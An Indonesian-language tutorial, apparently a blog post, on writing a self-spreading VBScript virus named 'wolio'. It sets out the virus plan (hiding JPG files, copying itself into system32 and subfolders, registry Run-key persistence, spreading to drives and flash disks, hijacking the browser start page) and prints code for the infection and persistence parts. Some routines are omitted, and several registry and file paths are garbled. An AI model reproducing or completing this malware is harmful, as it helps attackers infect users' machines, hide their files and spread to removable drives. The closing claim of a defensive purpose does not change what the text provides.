Membuat Virus Sendiri Menggunakan Visual Basic

Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke
dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.
Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario
virus tersebut adalah sebagai berikut:

1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan
merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut
terhapus.

2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows

3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat
restart

4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.

5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet
Explorer

Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:

. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya
sesuai dengan skenario diatas

Spoiler:

5. Pada bagian ini akan mencari folder yang ada dan menulari-nya dengan script virus

Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & "wolio.vbs")
carifilejpg(subfolder)
next
End Sub

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan
variabel dan memangggil semua prosedur

on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk

set fso = CreateObject("Scripting.FileSystemObject")
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject("WScript.Shell")

myfolder = Left(fsource,InStrRev(fsource,""))
' Copy-kan diri ke "c:windowssystem32"

fsource.Copy("c:windowssystem32wolio.vbs")
' Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
' Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
' Regitry
if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicro soft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Curr ent\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If
' Copy-kan diri ke semua drive aktif
serangan_drive()
' Buat file wolio.html
buat_html()
' Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah artikel tentang cara pembuatan dan penuluran sebuah virus yang
dibuat dengan VBS. Setelah mengetahui teknik penyebaran suatu virus yang dibuat
dengan VBS, maka diharapkan kepada Anda agar dapat melakukan pencegahan. Virus
yang kita pelajari kali ini sebenarnya hanya virus yang "bodoh", ini hanya membuka
wacana Anda terhadap bahaya dari virus yang dibuat dengan VBS. Semoga artikel ini
dapat bermanfaat.